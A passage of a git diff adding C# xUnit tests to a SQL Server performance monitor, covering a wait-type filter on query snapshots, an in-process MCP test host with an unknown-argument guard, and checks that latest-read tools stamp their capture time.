+            Assert.Equal("pageiolatch_sh", latch.GetProperty("filters_applied").GetProperty("wait_type").GetString());
+
+            /* The input is trimmed (the echo names what was applied); a blank is no filter at all. */
+            var padded = await ActiveAsync(wait: "  PAGEIOLATCH_SH  ");
+            Assert.Equal(3, padded.GetProperty("total_snapshots").GetInt64());
+            Assert.Equal("PAGEIOLATCH_SH", padded.GetProperty("filters_applied").GetProperty("wait_type").GetString());
+            var blank = await ActiveAsync(wait: "   ");
+            Assert.Equal(7, blank.GetProperty("total_snapshots").GetInt64());
+            Assert.Equal(JsonValueKind.Null, blank.GetProperty("filters_applied").GetProperty("wait_type").ValueKind);
+
+            /* A blocker on another wait leaves the page. 55 waits on LCK_M_X; its blocker 60 waits on WAITFOR, so 60 is not in the
+               filtered population and the victim says why, as it does for a blocker in another database. */
+            var locks = await ActiveAsync(wait: "LCK_M_X");
+            Assert.Equal(1, locks.GetProperty("total_snapshots").GetInt64());
+            Assert.Equal(new[] { 55 }, Sessions(locks));
+            Assert.Equal("filtered", Assert.Single(locks.GetProperty("queries").EnumerateArray()).GetProperty("blocker_not_shown").GetString());
+
+            /* It ANDs with database_name. */
+            var otherDbLatch = await ActiveAsync(database: OtherDb, wait: "PAGEIOLATCH_SH");
+            Assert.Equal(1, otherDbLatch.GetProperty("total_snapshots").GetInt64());
+            Assert.Equal(new[] { 63 }, Sessions(otherDbLatch));
+            var dbLatch = await ActiveAsync(database: Db, wait: "PAGEIOLATCH_SH");
+            Assert.Equal(2, dbLatch.GetProperty("total_snapshots").GetInt64());
+            Assert.Equal(new[] { 61, 61 }, Sessions(dbLatch));
+
+            /* The cap and the truncation flag are measured on the filtered population: three matching rows under limit 2. */
+            var cut = await ActiveAsync(wait: "PAGEIOLATCH_SH", limit: 2);
+            Assert.True(cut.GetProperty("truncated").GetBoolean());
+            Assert.Equal(2, cut.GetProperty("snapshots_returned").GetInt32());
+            Assert.Equal(3, cut.GetProperty("total_snapshots").GetInt64());
+
+            /* A miss names the filter instead of calling the window empty, and the three filters are named in one fixed order. */
+            var miss = await ActiveAsync(wait: "NO_SUCH_WAIT");
+            Assert.Equal("empty", miss.GetProperty("status").GetString());
+            Assert.Contains("wait_type 'NO_SUCH_WAIT'", miss.GetProperty("message").GetString(), StringComparison.Ordinal);
+            var missAll = await ActiveAsync(database: Db, blockingOnly: true, wait: "NO_SUCH_WAIT");
+            Assert.Contains($"database_name '{Db}' with blocking_only with wait_type 'NO_SUCH_WAIT'", missAll.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            /* Equality only: a % or _ in the input is literal, so no pattern reaches PAGEIOLATCH_SH. */
+            foreach (var pattern in new[] { "PAGEIOLATCH_%", "PAGEIOLATCH_S_", "%" })
+                Assert.Equal("empty", (await ActiveAsync(wait: pattern)).GetProperty("status").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
     [Fact]
     public async Task DailySummary_StopsPaintingPurgedDaysGreen_AndPublishesTheHorizon()
     {
@@ -438,13 +545,18 @@ private static Task PlantQueryStoreAsync(
             at, "Regular", $"0xQS{queryId}", $"0xQSP{queryId}",
             moduleName, executions, avgDurationUs, avgDurationUs / 2, $"SELECT {queryId}");
 
+    /// <summary>
+    /// One query_snapshots row. <paramref name="waitType"/> is the row's own wait; left null it is the old default, LCK_M_X for
+    /// a blocked row and no wait for the rest (#5235 lets a test name any wait, a trailing space included).
+    /// </summary>
     private static Task PlantSnapshotAsync(
-        NpgsqlConnection connection, CancellationToken ct, DateTime at, int sessionId, string database, string text, int blockingSessionId, long cpuMs) =>
+        NpgsqlConnection connection, CancellationToken ct, DateTime at, int sessionId, string database, string text, int blockingSessionId, long cpuMs,
+        string? waitType = null) =>
         DarlingMcpTestData.ExecAsync(connection, ct,
             @"INSERT INTO query_snapshots (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status, blocking_session_id, wait_type, cpu_time_ms, total_elapsed_time_ms, request_id)
 VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13)",
             CollectionIdGenerator.Next(), at, ServerId, ServerName, sessionId, database, text,
-            blockingSessionId > 0 ? "suspended" : "running", blockingSessionId, blockingSessionId > 0 ? "LCK_M_X" : null, cpuMs, cpuMs * 2, 0);
+            blockingSessionId > 0 ? "suspended" : "running", blockingSessionId, waitType ?? (blockingSessionId > 0 ? "LCK_M_X" : null), cpuMs, cpuMs * 2, 0);
 
     private static Task SeedRunAsync(NpgsqlConnection connection, CancellationToken ct, DateTime collectionTimeUtc, string status) =>
         DarlingMcpTestData.ExecAsync(connection, ct, @"
diff --git a/Darling/Darling.Tests/McpInProcessHost.cs b/Darling/Darling.Tests/McpInProcessHost.cs
new file mode 100644
index 0000000000..bc9bdb109b
--- /dev/null
+++ b/Darling/Darling.Tests/McpInProcessHost.cs
@@ -0,0 +1,340 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.IO.Pipelines;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using ModelContextProtocol.Client;
+using ModelContextProtocol.Protocol;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A real MCP server and client in one process, joined by two pipes. The server registers the given tool types
+/// through <see cref="McpSchemaCompat.WithGeminiCompatibleTools"/> and installs
+/// <see cref="McpUnknownArgumentGuard"/> as its call-tool filter, as the host does, so a call runs through the
+/// SDK's real JSON-RPC, filter pipeline and argument binder. A test can leave the guard out to see what the
+/// SDK's binder does on its own.
+///
+/// <para>Each service parameter is bound to an uninitialized instance of its type, never to a working one, so
+/// service binding succeeds and the first thing that can fail is the binding of the caller's arguments. A call
+/// that gets past argument binding reaches the tool body and fails there, on the empty service. Nothing here
+/// touches a database. The exceptions the server logs for failed tool calls are kept in
+/// <see cref="ToolExceptions"/>, so a test can tell a binding failure from a body failure.</para>
+/// </summary>
+internal sealed class McpInProcessHost : IAsyncDisposable
+{
+    private readonly ServiceProvider _provider;
+    private readonly CancellationTokenSource _stop;
+    private readonly Task _serverRun;
+    private readonly List<object> _inertInstances;
+
+    private McpInProcessHost(
+        ServiceProvider provider, CancellationTokenSource stop, Task serverRun, McpClient client, ToolExceptionLog log,
+        List<object> inertInstances)
+    {
+        _provider = provider;
+        _stop = stop;
+        _serverRun = serverRun;
+        Client = client;
+        ToolExceptions = log;
+        _inertInstances = inertInstances;
+    }
+
+    public McpClient Client { get; }
+
+    public ToolExceptionLog ToolExceptions { get; }
+
+    /// <summary>The tools the server registered, with the schemas it advertises.</summary>
+    public IReadOnlyList<McpServerTool> RegisteredTools => _provider.GetServices<McpServerTool>().ToList();
+
+    /// <summary>The declared parameter types the host recorded as it created the tools: what the guard reads through
+    /// the request's services, so a test can hand them to <see cref="McpUnknownArgumentGuard.Refuse"/>.</summary>
+    public McpToolParameterTypes ParameterTypes => _provider.GetRequiredService<McpToolParameterTypes>();
+
+    /// <param name="toolTypes">The tool classes to register, as the host registers them.</param>
+    /// <param name="isServiceParameter">Which parameter types the host resolves from DI rather than from the call.</param>
+    /// <param name="inertInstanceFor">An inert instance for a service type that cannot be left uninitialized (an
+    /// abstract class or an interface), or null for a type it does not cover.</param>
+    /// <param name="installGuard">False to leave <see cref="McpUnknownArgumentGuard"/> out, so a call meets the SDK's
+    /// binder with nothing in front of it.</param>
+    /// <param name="cancellationToken">Cancels the client's start.</param>
+    public static async Task<McpInProcessHost> StartAsync(
+        IReadOnlyCollection<Type> toolTypes,
+        Func<Type, bool> isServiceParameter,
+        Func<Type, object?> inertInstanceFor,
+        bool installGuard,
+        CancellationToken cancellationToken)
+    {
+        var clientToServer = new Pipe();
+        var serverToClient = new Pipe();
+        var log = new ToolExceptionLog();
+
+        var services = new ServiceCollection();
+        services.AddLogging(logging => logging.AddProvider(log));
+
+        /* The container never disposes an instance it is handed, so the host disposes the inert ones itself (a data
+           source holds a pool). An uninitialized object is left alone: its constructor never ran. */
+        var inertInstances = new List<object>();
+        foreach (var serviceType in ServiceParameterTypes(toolTypes, isServiceParameter))
+        {
+            object instance;
+            if (serviceType.IsAbstract || serviceType.IsInterface)
+            {
+                instance = inertInstanceFor(serviceType)
+                    ?? throw new InvalidOperationException($"No inert instance for the abstract service type {serviceType.FullName}.");
+                inertInstances.Add(instance);
+            }
+            else
+            {
+                instance = RuntimeHelpers.GetUninitializedObject(serviceType);
+            }
+
+            services.AddSingleton(serviceType, instance);
+        }
+
+        var builder = services.AddMcpServer()
+            .WithStreamServerTransport(clientToServer.Reader.AsStream(), serverToClient.Writer.AsStream());
+
+        if (installGuard)
+        {
+            builder = builder.WithRequestFilters(filters => filters.AddCallToolFilter(McpUnknownArgumentGuard.Instance));
+        }
+
+        var register = typeof(McpSchemaCompat).GetMethod(
+            nameof(McpSchemaCompat.WithGeminiCompatibleTools),
+            BindingFlags.Public | BindingFlags.Static)!;
+
+        foreach (var toolType in toolTypes)
+        {
+            register.MakeGenericMethod(toolType).Invoke(null, new object?[] { builder });
+        }
+
+        var provider = services.BuildServiceProvider();
+        var stop = new CancellationTokenSource();
+        var serverRun = provider.GetRequiredService<McpServer>().RunAsync(stop.Token);
+
+        var client = await McpClient.CreateAsync(
+            new StreamClientTransport(clientToServer.Writer.AsStream(), serverToClient.Reader.AsStream()),
+            cancellationToken: cancellationToken);
+
+        return new McpInProcessHost(provider, stop, serverRun, client, log, inertInstances);
+    }
+
+    /// <summary>The text of a call's single content block.</summary>
+    public static string TextOf(CallToolResult result)
+    {
+        var block = Assert.Single(result.Content);
+        return Assert.IsType<TextContentBlock>(block).Text;
+    }
+
+    /// <summary>
+    /// Null when <paramref name="result"/> is the guard's whole-number refusal for <paramref name="parameter"/>:
+    /// the shared refusal envelope, <c>hints.parameter</c> set to the parameter, and a message that names the
+    /// parameter and the tool, says <paramref name="expectedPhrase"/>, and lists the accepted parameters.
+    /// Otherwise, what is wrong with it, prefixed with the tool name.
+    /// </summary>
+    public static string? WholeNumberRefusalProblem(string toolName, string parameter, string expectedPhrase, CallToolResult result)
+    {
+        var text = TextOf(result);
+
+        if (result.IsError != true || !McpHelpers.IsRefusalEnvelope(text))
+        {
+            return $"{toolName}: {text}";
+        }
+
+        using var document = JsonDocument.Parse(text);
+        var root = document.RootElement;
+        var hinted = root.TryGetProperty("hints", out var hints) && hints.TryGetProperty("parameter", out var hint)
+            ? hint.GetString()
+            : null;
+        var message = root.GetProperty("message").GetString() ?? "";
+
+        if (hinted != parameter)
+        {
+            return $"{toolName}: the refusal names '{hinted}', not '{parameter}' -> {message}";
+        }
+
+        foreach (var expected in new[] { $"'{parameter}'", $"'{toolName}'", expectedPhrase, "Accepted parameters:" })
+        {
+            if (!message.Contains(expected, StringComparison.Ordinal))
+            {
+                return $"{toolName}: the refusal does not say \"{expected}\" -> {message}";
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>The message of the refusal envelope in <paramref name="result"/>, parsed from its JSON so escapes
+    /// such as <c>😀</c> read back as the characters they stand for; null when it is not a refusal.</summary>
+    public static string? RefusalMessage(CallToolResult result)
+    {
+        var text = TextOf(result);
+        if (result.IsError != true || !McpHelpers.IsRefusalEnvelope(text))
+        {
+            return null;
+        }
+
+        using var document = JsonDocument.Parse(text);
+        return document.RootElement.GetProperty("message").GetString();
+    }
+
+    /// <summary>
+    /// Null when <paramref name="result"/> is the guard's unknown-argument refusal for <paramref name="sentKey"/>, a key
+    /// that differs from <paramref name="parameter"/> only by letter case: the shared refusal envelope,
+    /// <c>hints.parameter</c> set to the key as it was sent, and a message that names the key, suggests the parameter,
+    /// says names must match in letter case, and lists the accepted parameters. Otherwise, what is wrong with it,
+    /// prefixed with the tool name. A null <paramref name="result"/> is the guard's own answer when it passes a call.
+    /// </summary>
+    public static string? CaseRefusalProblem(string toolName, string sentKey, string parameter, CallToolResult? result)
+    {
+        if (result is null)
+        {
+            return $"{toolName}: the guard passed '{sentKey}', so the binder would drop it and the tool would run without it";
+        }
+
+        var text = TextOf(result);
+
+        if (result.IsError != true || !McpHelpers.IsRefusalEnvelope(text))
+        {
+            return $"{toolName}: '{sentKey}' was not refused, so the call went on to the tool -> {text}";
+        }
+
+        using var document = JsonDocument.Parse(text);
+        var root = document.RootElement;
+        var hinted = root.TryGetProperty("hints", out var hints) && hints.TryGetProperty("parameter", out var hint)
+            ? hint.GetString()
+            : null;
+        var message = root.GetProperty("message").GetString() ?? "";
+
+        if (hinted != sentKey)
+        {
+            return $"{toolName}: the refusal names '{hinted}', not '{sentKey}' -> {message}";
+        }
+
+        foreach (var expected in new[]
+                 {
+                     $"Unknown argument '{sentKey}'", $"'{sentKey}' -> '{parameter}'", "including letter case", "Accepted parameters:"
+                 })
+        {
+            if (!message.Contains(expected, StringComparison.Ordinal))
+            {
+                return $"{toolName}: the refusal does not say \"{expected}\" -> {message}";
+            }
+        }
+
+        return null;
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        await Client.DisposeAsync();
+        await _stop.CancelAsync();
+
+        try
+        {
+            await _serverRun;
+        }
+        catch (OperationCanceledException)
+        {
+        }
+
+        _stop.Dispose();
+        await _provider.DisposeAsync();
+
+        foreach (var instance in _inertInstances)
+        {
+            switch (instance)
+            {
+                case IAsyncDisposable asyncDisposable:
+                    await asyncDisposable.DisposeAsync();
+                    break;
+                case IDisposable disposable:
+                    disposable.Dispose();
+                    break;
+            }
+        }
+    }
+
+    private static IEnumerable<Type> ServiceParameterTypes(IEnumerable<Type> toolTypes, Func<Type, bool> isServiceParameter) =>
+        toolTypes
+            .SelectMany(t => t.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance))
+            .Where(m => m.GetCustomAttribute<McpServerToolAttribute>() is not null)
+            .SelectMany(m => m.GetParameters())
+            .Select(p => p.ParameterType)
+            .Where(t => t != typeof(CancellationToken) && isServiceParameter(t))
+            .Distinct();
+
+    /// <summary>The exceptions the server logged, in order, with the logger category that logged each one.</summary>
+    internal sealed class ToolExceptionLog : ILoggerProvider
+    {
+        private readonly ConcurrentQueue<(string Category, Exception Exception)> _entries = new();
+
+        public IReadOnlyList<(string Category, Exception Exception)> Entries => _entries.ToArray();
+
+        /// <summary>
+        /// Whether any logged exception is an argument-binding failure: a <see cref="JsonException"/> anywhere in its
+        /// chain, which is what the SDK's binder throws when it cannot read an argument's value.
+        /// </summary>
+        public bool HasBindingFailure => Entries.Any(e => Chain(e.Exception).Any(x => x is JsonException));
+
+        /// <summary>Whether any exception logged after the first <paramref name="alreadySeen"/> entries is a binding
+        /// failure, so one call among many on a shared host can be judged on its own.</summary>
+        public bool BindingFailureSince(int alreadySeen) =>
+            Entries.Skip(alreadySeen).Any(e => Chain(e.Exception).Any(x => x is JsonException));
+
+        /// <summary>Each logged exception as its category and the types in its chain, for a failure message.</summary>
+        public string Describe() =>
+            Entries.Count == 0
+                ? "nothing was logged"
+                : string.Join("; ", Entries.Select(e => e.Category + ": " + string.Join(" <- ", Chain(e.Exception).Select(x => x.GetType().Name))));
+
+        private static IEnumerable<Exception> Chain(Exception exception)
+        {
+            for (Exception? current = exception; current is not null; current = current.InnerException)
+            {
+                yield return current;
+            }
+        }
+
+        public ILogger CreateLogger(string categoryName) => new Logger(categoryName, _entries);
+
+        public void Dispose()
+        {
+        }
+
+        private sealed class Logger(string category, ConcurrentQueue<(string, Exception)> entries) : ILogger
+        {
+            public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+            public bool IsEnabled(LogLevel logLevel) => logLevel >= LogLevel.Warning;
+
+            public void Log<TState>(
+                LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+            {
+                if (exception is not null)
+                {
+                    entries.Enqueue((category, exception));
+                }
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/McpLatestSnapshotStampTests.cs b/Darling/Darling.Tests/McpLatestSnapshotStampTests.cs
index b4bce73894..111777c2e9 100644
--- a/Darling/Darling.Tests/McpLatestSnapshotStampTests.cs
+++ b/Darling/Darling.Tests/McpLatestSnapshotStampTests.cs
@@ -21,6 +21,7 @@
 using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
 using Xunit;
 using static Darling.Tests.RepoFile;
 
@@ -48,6 +49,7 @@ namespace Darling.Tests;
 /// <c>Lite.Tests/McpLatestSnapshotStampTests</c> executes the Lite tools against a real DuckDB;
 /// <see cref="McpLatestSnapshotStampLivePostgresTests"/> executes the Darling ones against live Postgres.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class McpLatestSnapshotStampTests
 {
     /* ───────────────────────── the roster ───────────────────────── */
@@ -524,7 +526,7 @@ widened exemption. 26 latest-reading tool bodies at the time of writing. */
     /// for the server) — a "current" read IS a latest read, and the name had kept it out of the sweep.
     /// </summary>
     private static readonly Regex LatestReaderCall = new(
-        @"\.(GetLatest\w+Async|Get\w+LatestAsync|Get\w+SnapshotAsync|GetCurrent\w+Async|GetPlanCacheBloatAsync|GetCpuSchedulerPressureAsync|GetServerSummaryAsync|GetIndexUsageAsync|GetIndexLockingAsync|GetObjectSizeGrowthAsync|GetRunningJobsAsync)\(",
+        @"\.(GetLatest\w+Async|Get\w+LatestAsync|Get\w+SnapshotAsync|GetCurrent\w+Async|GetPlanCacheBloatAsync|GetCpuSchedulerPressureAsync|GetServerSummaryAsync|GetIndexUsageAsync|GetIndexLockingAsync|GetObjectSizeGrowthAsync|GetObjectIndexDetailAsync|GetIndexAnalysisWithSnapshotTimesAsync|GetRunningJobsAsync)\(",
         RegexOptions.Compiled);
 
     /* ───────────────────────── the readers ───────────────────────── */
@@ -552,6 +554,8 @@ widened exemption. 26 latest-reading tool bodies at the time of writing. */
        having here: the anchor column rides the row statement, so the instant published is the instant the
        returned rows came from, never a fresher capture a second MAX() read happened to see. */
     [InlineData(nameof(DarlingObjectStatsReader.IndexLockingSql), "collection_time")]
+    /* #5070: the Storage Growth index drill, stamped the same way. */
+    [InlineData(nameof(DarlingFinOpsStorageGrowthReader.ObjectIndexDetailSql), "collection_time")]
     public void EveryStampedRead_SelectsItsStampColumn_OnTheRowStatement(string sqlName, string column)
     {
         var sql = ReaderSql(sqlName);
@@ -671,6 +675,55 @@ projection carries collection_time at the SAME sixteen-space indent the old disc
            beside it in the same reader, which must stay outside. */
         Assert.Matches(LatestReaderCall, "            var rows = await DarlingPgServerConfigReader.GetCurrentConfigAsync(");
         Assert.DoesNotMatch(LatestReaderCall, "            var rows = await DarlingPgServerConfigReader.GetConfigChangesAsync(");
+        /* #5070: the Storage Growth index drill is a latest read too, and so is held to the stamped dialect. */
+        Assert.Matches(LatestReaderCall, "        var indexes = await DarlingFinOpsStorageGrowthReader.GetObjectIndexDetailAsync(");
+        /* #5082: so is the Index Analysis read, which answers each database's newest snapshot. */
+        Assert.Matches(LatestReaderCall, "        var read = await DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisWithSnapshotTimesAsync(");
+    }
+
+    /// <summary>
+    /// The sweep above slices a file at its <c>[McpServerTool</c> marks, so it cannot see <c>get_finops</c>'s
+    /// <c>storage_growth</c> view, which lives in a partial file with no mark of its own (#5070). This pins the one
+    /// latest read in that file directly: the call that reads the index drill and the stamp built from the row
+    /// statement's own anchor sit in the same file, and the stamp goes through the shared UTC formatter.
+    /// </summary>
+    [Fact]
+    public void StorageGrowthIndexDrill_IsStamped_FromTheRowsOwnAnchor()
+    {
+        var source = Strip(ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.StorageGrowth.cs"));
+        Assert.Matches(LatestReaderCall, source);
+        Assert.Contains("GetObjectIndexDetailAsync(", source, StringComparison.Ordinal);
+        Assert.Matches(CapturedAtKey, source);
+        Assert.Contains("captured_at = indexes.Count == 0 ? null : McpHelpers.FormatEffectiveStart(indexes[0].CollectionTime)", source, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// Same reason as above for <c>index_analysis</c> (#5082): its partial file has no tool mark, so this pins the read and
+    /// the per-database stamp directly. The patterns run against the file's own source.
+    /// </summary>
+    [Fact]
+    public void IndexAnalysis_StampsEachDatabase_FromItsOwnSnapshot_AndNotTheOverallRow()
+    {
+        var source = Strip(ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.IndexAnalysis.cs"));
+        Assert.Matches(LatestReaderCall, source);
+        Assert.Matches(CapturedAtKey, source);
+        Assert.Contains("captured_at = capturedAt is { } at ? McpHelpers.FormatEffectiveStart(at) : null,", source, StringComparison.Ordinal);
+        Assert.Contains("IndexAnalysisRollupRow(d, true, SnapshotTimeOf(snapshotTimes, d.DatabaseId))", source, StringComparison.Ordinal);
+        /* The overall row spans databases and is built without a time. */
+        Assert.Contains("IndexAnalysisRollupRow(result.OverallRollup, false)", source, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// Same reason as above for <c>database_sizes</c>: its partial file has no tool mark, so this pins the latest read and
+    /// the stamp, built through the shared UTC formatter from the snapshot's own time.
+    /// </summary>
+    [Fact]
+    public void DatabaseSizes_IsStamped_FromTheSnapshotsOwnTime()
+    {
+        var source = Strip(ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.DatabaseSizes.cs"));
+        Assert.Contains("DarlingFinOpsDatabaseSizesReader.GetLatestAsync(", source, StringComparison.Ordinal);
+        Assert.Matches(CapturedAtKey, source);
+        Assert.Contains("captured_at = McpHelpers.FormatEffectiveStart(files[0].CollectionTime)", source, StringComparison.Ordinal);
     }
 
     /* ───────────────────────── plumbing ───────────────────────── */
@@ -696,6 +749,7 @@ projection carries collection_time at the SAME sixteen-space indent the old disc
     private static string ReaderSql(string sqlName) => sqlName switch
     {
         nameof(DarlingDataReader.LatestMemoryClerksSql) => DarlingDataReader.LatestMemoryClerksSql,
+        nameof(DarlingFinOpsStorageGrowthReader.ObjectIndexDetailSql) => DarlingFinOpsStorageGrowthReader.ObjectIndexDetailSql,
         nameof(DarlingDataReader.LatestFileIoStatsSql) => DarlingDataReader.LatestFileIoStatsSql,
         nameof(DarlingDataReader.LatestPerfmonStatsSql) => DarlingDataReader.LatestPerfmonStatsSql,
         nameof(DarlingCurrentConfigReader.ServerConfigSql) => DarlingCurrentConfigReader.ServerConfigSql,
@@ -833,6 +887,7 @@ private static string Strip(string source) =>
 /// assertions are equalities, and an anchor of "now" would make every age a race.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class McpLatestSnapshotStampLivePostgresTests
 {
     private const string ServerName = "darling-mcp-latest-stamp-e2e";
@@ -868,6 +923,7 @@ public async Task LatestReads_SayWhenTheyWereCaptured_AgainstLivePostgres()
             /* Every row sits in the past; the anchor is base + 5 min, so every age below is exact. */
             var @base = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddHours(-2);
             var anchor = @base.AddMinutes(5).ToString("o") + "Z";
+            var runningJobsLatest = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-2);
 
             /* ── memory grants: a storm 30 minutes before a calm latest snapshot ── */
             foreach (var (t, waiters, timeouts, granted) in new[] { (@base.AddMinutes(-30), 12, 3L, 6000m), (@base, 0, 0L, 500m) })
@@ -980,10 +1036,13 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
                     @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type_desc, total_size_mb, used_size_mb, volume_mount_point, volume_total_mb, volume_free_mb)
 VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12)",
                     CollectionIdGenerator.Next(), t, ServerId, ServerName, "Sales", "Sales", "ROWS", 10240m, 8192m, "D:\\", 512000m, 204800m);
+                /* get_running_jobs lists a snapshot only while it is recent (the alert read's #1812 bound), so its latest row is
+                   two minutes old instead of two hours; the stamp is still the latest row's own time. */
+                var jobsAt = t == @base ? runningJobsLatest : t.AddMinutes(-90);
                 await DarlingMcpTestData.ExecAsync(connection, ct,
                     @"INSERT INTO running_jobs (collection_time, server_id, server_name, job_name, job_id, job_enabled, start_time, current_duration_seconds, avg_duration_seconds, p95_duration_seconds, successful_run_count, is_running_long, percent_of_average)
 VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13)",
-                    t, ServerId, ServerName, "Nightly ETL", "22222222-2222-2222-2222-222222222222", true, t.AddMinutes(-30), 1800L, 600L, 900L, 42L, true, 300.0m);
+                    jobsAt, ServerId, ServerName, "Nightly ETL", "22222222-2222-2222-2222-222222222222", true, jobsAt.AddMinutes(-30), 1800L, 600L, 900L, 42L, true, 300.0m);
                 await DarlingMcpTestData.ExecAsync(connection, ct,
                     @"INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, product_version, cpu_count, physical_memory_mb)
 VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
@@ -1004,7 +1063,7 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
             {
                 var payload = Parse(json);
                 Assert.True(payload.TryGetProperty("captured_at", out var capturedAt), $"{name}: no captured_at on the payload");
-                Assert.Equal(Stamp(@base), capturedAt.GetString());
+                Assert.Equal(Stamp(name == "get_running_jobs" ? runningJobsLatest : @base), capturedAt.GetString());
                 Assert.False(payload.TryGetProperty("collection_time", out _), $"{name}: still publishes the retired top-level collection_time beside captured_at");
             }
 
diff --git a/Darling/Darling.Tests/McpPageContractTests.cs b/Darling/Darling.Tests/McpPageContractTests.cs
index d50060b54d..17249218db 100644
--- a/Darling/Darling.Tests/McpPageContractTests.cs
+++ b/Darling/Darling.Tests/McpPageContractTests.cs
@@ -63,6 +63,7 @@ namespace Darling.Tests;
 /// arithmetic through each projection is <see cref="DarlingMcpPgPercentDenominatorTests"/>' subject; this
 /// file holds the census.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class McpPageContractTests
 {
     /* ───────────────────────── the census ───────────────────────── */
@@ -1059,13 +1060,14 @@ public void TheFilteredReads_CarryTheirPredicates_BeforeTheOrderingAndTheCap()
         })
         {
             var floor = sql.IndexOf("COALESCE(MAX(max_dop), 0) >= $6", StringComparison.Ordinal);
-            var order = sql.IndexOf("ORDER BY SUM(delta_worker_time) DESC", StringComparison.Ordinal);
+            var order = sql.IndexOf("ORDER BY rank_metric DESC NULLS LAST", StringComparison.Ordinal);
             Assert.True(floor >= 0, $"{name}: the parallelism floor is not in the statement");
             Assert.True(order > floor, $"{name}: the parallelism floor sits after the ranking, so it filters a ranked page rather than ranking a filtered population");
         }
 
         var active = DarlingSessionReader.ActiveQueriesSql;
-        Assert.Contains("($5::text IS NULL OR w.database_name = $5)", active, StringComparison.Ordinal);
+        /* #5245: the list form (one text[] at $5), the same statement for one name or several. */
+        Assert.Contains("($5::text[] IS NULL OR w.database_name = ANY($5))", active, StringComparison.Ordinal);
         Assert.Contains("(NOT $6::boolean OR w.blocking_session_id > 0 OR h.session_id IS NOT NULL)", active, StringComparison.Ordinal);
         Assert.Contains("COUNT(*) OVER () AS population_count", active, StringComparison.Ordinal);
         /* The head-blocker keep: a WAITFOR row stays when a row in the SAME capture names it. */
@@ -1253,6 +1255,7 @@ private static string Strip(string source) =>
 /// because a window holding exactly <c>limit</c> rows is the case <c>count &gt;= limit</c> gets wrong.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class McpPageContractLivePostgresTests
 {
     private const string ServerName = "darling-mcp-page-contract-e2e";
@@ -1499,6 +1502,10 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
             var corrections = await DarlingMcpPlanCorrectionTools.GetPlanCorrections(postgres, ServerName, 24, 3);
             JsonAssert.Contains("\"recommendations_returned\": 3", corrections);
             JsonAssert.Contains("\"truncated\": false", corrections);
+            /* #4966: where the page's rows stop describes the window, so it prints as UTC with the Z: the oldest row's instant. */
+            Assert.Equal(
+                DateTime.SpecifyKind(now.AddMinutes(-10), DateTimeKind.Utc).ToString("o", CultureInfo.InvariantCulture),
+                JsonDocument.Parse(corrections).RootElement.GetProperty("oldest_returned_collection_time").GetString());
 
             /* Waiting tasks: 3 rows; the envelope now carries the window. */
             for (var i = 0; i < 3; i++)
diff --git a/Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs b/Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs
index 5409675bde..cd0c22f777 100644
--- a/Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs
+++ b/Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs
@@ -57,6 +57,7 @@ namespace Darling.Tests;
 /// would let a Darling site vanish and a Lite one appear and still add up, which is the one-sided-port
 /// regression #2992 found nothing guarding against.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class McpPayloadClockFrameDisciplineTests
 {
     /// <summary>The Postgres de-skew, spelled exactly as every Darling read carries it. Anchored on the
diff --git a/Darling/Darling.Tests/McpPayloadContractCensusTests.cs b/Darling/Darling.Tests/McpPayloadContractCensusTests.cs
index 29bf5cc058..f630364f20 100644
